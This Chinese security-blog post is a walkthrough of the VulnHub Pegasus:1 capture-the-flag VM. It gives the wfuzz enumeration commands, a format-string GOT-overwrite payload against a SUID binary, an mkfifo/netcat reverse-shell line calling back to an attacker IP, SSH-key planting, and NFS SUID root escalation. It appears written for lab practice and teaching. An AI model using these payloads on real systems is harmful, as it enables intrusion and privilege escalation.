本文由 简悦 SimpRead 转码, 原文地址 mp.weixin.qq.com
大余安全
大家好,这里是 大余安全 的第 48 篇文章,本公众号会每日分享攻防渗透技术给大家。
靶机地址:https://www.vulnhub.com/entry/pegasus-1,109/
靶机难度:中级(CTF)
靶机发布日期:2014 年 12 月 16 日
靶机描述:
欢迎使用我的第一个 boot2root VM!受到各种 CTF 活动的启发,以及我在过去几个月中学到的一些很棒的概念。
交战规则很简单 - 找到一条路,将您的特权一直升级到最根本并获得标志!
与所有此类 VM 一样,跳出框框思考,不要太早得出结论并 “精打细算” :)
VM 已在 VMWare 和 VirtualBox 上经过测试,只需将其导入,确保将网络设置为 “仅主机” 并运行它。它应该自动获取 IP 地址。
请享用!:)
请注意:对于所有这些计算机,我已经使用 VMware 运行下载的计算机。我将使用 Kali Linux 作为解决该 CTF 的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,我概不负责。
一、信息收集
我们在 VM 中需要确定攻击目标的 IP 地址,需要使用 nmap 获取目标 IP 地址:
我们已经找到了此次 CTF 目标计算机 IP 地址:
192.168.56.139
nmap 发现开放了 22、111、8088、51435 端口... 我这边先对 web 进行渗透... 比较喜欢
天马... 很帅的一张图... 利用 exiftool 没发现什么东西...
正常情况下 nikto 和 dirb 无法扫到任何信息... 我使用 rockyou 单词表进行 php 扫描... 发现
http://192.168.56.139:8088/submit.php
我感觉还有东西... 坚持用更强的工具进行爆破...dirbuster 但是时间太久了,我换了 wfuzz 使用 directory-list-2.3-medium.txt 单词表...
wfuzz -c -z file,/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt --hc 404 http://192.168.56.139:8088/FUZZ.php
发现了存在 codereview.php 链接...
我复制了 shell 进去,点上传...
已经发送出去了... 可是我打开 NC 等了几分钟没啥反应... 说明不支持 PHP 代码... 我去分析下...
我这边使用 system 代审查看下,发现回复的是...
抱歉,由于安全预防措施,Mike 不会查看任何包含 system()函数调用的代码...
这里可以看得出,应该是限制了某种语言,我试试别的...
二、提权
在 github 找了到...
[链接](https://github.com/c610/tmp/blob/master/bindshell.c)
成功提权 mike 用户...
发现 id_rsa... 密匙???难道和上两章一样可以直接提权??
不行... 我去查看下 my_first... (这里的. ssh/authorized_keys 密匙作用是:以便无需使用反向 Shell 即可进行 SSH 输入...)
缓冲区溢出:格式字符串漏洞
这是拥有 john 用户的 SUID 位置 1 的二进制文件...
测试中 1+2 返回的是总和,应该存在格式字符串漏洞... 测试下...
1. [模糊安全格式字符串开发-第1部分](https://www.youtube.com/watch?v=NwzmYSlETI8)
2. [模糊安全格式字符串开发-第2部分](https://www.youtube.com/watch?v=CHrs30g-3O0)
通过将%x 的格式字符串参数提交到工具来测试它是否容易受到攻击...
重播的错误详细信息为 bfb66ffc,它似乎是栈堆的位置,%x 格式参数是用于从堆栈中读取数据...
可以看到第二个数字有格式字符串漏洞...
printf '1\n1\n1\n4\n' | ./my_first
这里用了简单的 printf 字符串进行测试... 对加 1 到 1 的样本开始进行采样...
现在要确定可以控制堆栈中的哪个参数...
printf '1\n1\nAAAA.0x%%x\n4\n' | ./my_first
通过为它提供一个 4A 的字符串,然后将格式字符串参数增加 1 直到找到 4A,这边使用了格式化为十六进制 %x,我需要找到 41414141,因此格式字符串将以开头 AAAA.0x%s...
输出 AAAA.0xbfb85f2c
... 需要不断增加值...
printf '1\n1\nAAAA.0x%%x0x%%x0x%%x0x%%x0x%%x0x%%x0x%%x0x%%x\n4\n' | ./my_first
使得可以进入参数 8,我加了 8 组 0x%%x... 找到了十六进制的 A 字符...
printf '1\n1\nAAAA.0x%%8$x\n4\n' | ./my_first
由于格式字符串中使用直接参数访问,可以直接引用参数 8...
可以看到格式字符串中的参数 8,是堆栈部分的开始...
继续使用 %n 格式字符串写入内存中的任意区域.... 要找到 printf....(print 前面章节也讲过,写过一篇格式字符串的)
objdump -R ./my_first
为了能转储 GOT... 使用 objdump 查找 printf...
printf 查看到的位置是:08049bfc,这是要重写 printf libc 地址的部分 system()...
现在需要知道 system() 实际位置,(可能影响内存中此位置的重要向量称为 ASLR)它将有效地导致 system() 每次运行./my_first 时其地址都不同,为了解决这个问题,可以使用 ulimit 来增加堆栈大小,ulimit -s unlimited 将最大化堆栈大小,有效地导致 ASLR 实际上不存在...
ulimit -s unlimited
可以看到开始是 8192.... 使用后不存在了...
随着 ASLR 问题解决了,直接找到 system() 地址即可... 直接上 GDB... 讲了很多次的
gdb -q ./my_first
b main
....... 这里的 P 是 printf system
可以看到 system() 在 0x40069060.... 现在要使用的格式化字符串漏洞来写(使用 %n)printf() 在 08049bfc 上的新地址... 以 08049bfc 点在 system() 的 0x40069060 写,而不是其真正的位置...
printf '1\n1\n\xfc\x9b\x04\x08%%8$n' > dayu
x/x 0x08049bfc
可以看到准备格式字符串所需的填充时,主要为了调试应用程序...
上图是将使用 printf() 用于管道的方法对./my_first 来重定向到文件,然后在中 gdb 中运行二进制文件,可以看到使用编译的文件来重定向输入到 printf()...
结果可以看到,正按照我的思路走着,继续...
剩下的就是填充格式字符串....
这里我详细的讲解下,NO.36 章里面格式字符串最后有算数的地方...
这边使用 python 来计算内存写入字节数,要做的是在内存位置写入字节数,要写到 system 位置,前面知道它的内存位于 0x40069060,我们将计算分为两部分,首先写 0x9060,然后写 0x4006,我们可以看到已经写入了 4 个字节...
shell echo $(python -c 'print 0x9060-0x4')
可以看到写入的前四个字节是:36956,然后减去 4 个字节,是 36952,并填充 pad 参数 8...
现在要确定地址的上半部分,将进行另一次十六进制计算,并从所需数量中删除所拥有的数量...
shell echo $(python -c 'print 0x14006-0x9060')
这里需要在最低有效位上加一个 1,这会进入相同的内存地址,0x14006 在去进行减法... 可以看到:44966
这里末尾添加%9 $ n 才能真正覆盖此地址...
这里生成的格式字符串为:\xfc\x9b\x04\x08\xfe\x9b\x04\x08%%36952u%%8$n%%44966u%%9$n
printf '1\n1\n\xfc\x9b\x04\x08\xfe\x9b\x04\x08%%36952u%%8$n%%44966u%%9$n' > dayu
这里出现了 sh: 1: Selection:: not found 说明已经快完成了,没出现就前面出错了...
经过检验... 输出是正确的... 确认可以用 system()覆盖 printf()了..
解释下二进制文件使用导致崩溃 sh: 1: Selection:: not found,表示它现在正在尝试运行,由于 GOT 覆盖的是 system("Selection:") 而不是 printf("Selection:")...
是在返回主菜单时调用 printf,当字符串 Selection: 被放置到堆栈上时,它将被传递到 system 调用中...
所以需要创建 mkdir Selection: 文件... 然后赋予权利...chmod +x Selection:
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.103 4444 >/tmp/f' > Selection\:
然后写入一个简单的 netcat(不带 - e)...
执行即可....
可以看到成功获得 john 权限... 但是不太稳定... 需要直接进入 john,使用 ssh 生成密匙登陆...
ssh-keygen -t rsa -C john
创建好了 ssh 密匙后... 将公钥添加到 john 的授权密钥文件中...(前面章节也讲过)
写入到 john 的 rsa 即可...
chmod 600 authorized_keys (记得给与权限...)
写入后直接登陆即可...
ssh [email protected] -i john-key
成功登陆到 john 用户后,sudo 提权发现 / usr/local/sbin/nfs 目录文件可执行 root... 又是 NFS...
前面讲过很多 NFS 共享目录的事情,直接在本地共享下,创建个 shell,即可提权 root...GO
启动...
mount 192.168.56.139:/opt/nfs nfs
在本地创建文件夹 nfs,然后 mount 共享即可...
然后在本地 nfs 创建一个文本...
在靶机中复制 / bin/dash 到此可写文件... 然后回到本机调整 SUID 和 SGID 的位置 1...
访问即可提权成功.... NFS 参考 EXP:
[链接](https://www.exploit-db.com/exploits/40953)
当然,cp /bin/sh 也可以提权... 因为不管是 sh 还是 dash,创建的任何文件都具有 root 权限...
查看 flag...
成功获得 root 权限和 flag....
前期利用 wfuzz 不同单词表爆破出了 codereview.php.... 然后上传 system 编码获得 shell.... 然后发现 my_first 二进制文件缓冲区溢出的格式字符串漏洞... 到利用 ssh 密匙转换获得 john 用户权限.... 最后利用 NFS 进行 root 提权....
这里更加熟悉了我的弱项缓冲区溢出,格式字符串漏洞.... 加油!!
由于我们已经成功得到 root 权限查看 flag,因此完成了简单靶机,希望你们喜欢这台机器,请继续关注大余后期会有更多具有挑战性的机器,一起练习学习。
如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。
如果觉得这篇文章对你有帮助,可以转发到朋友圈,谢谢小伙伴~
欢迎加入渗透学习交流群,想入群的小伙伴们加我微信,共同进步共同成长!
大余安全
一个全栈渗透小技巧的公众号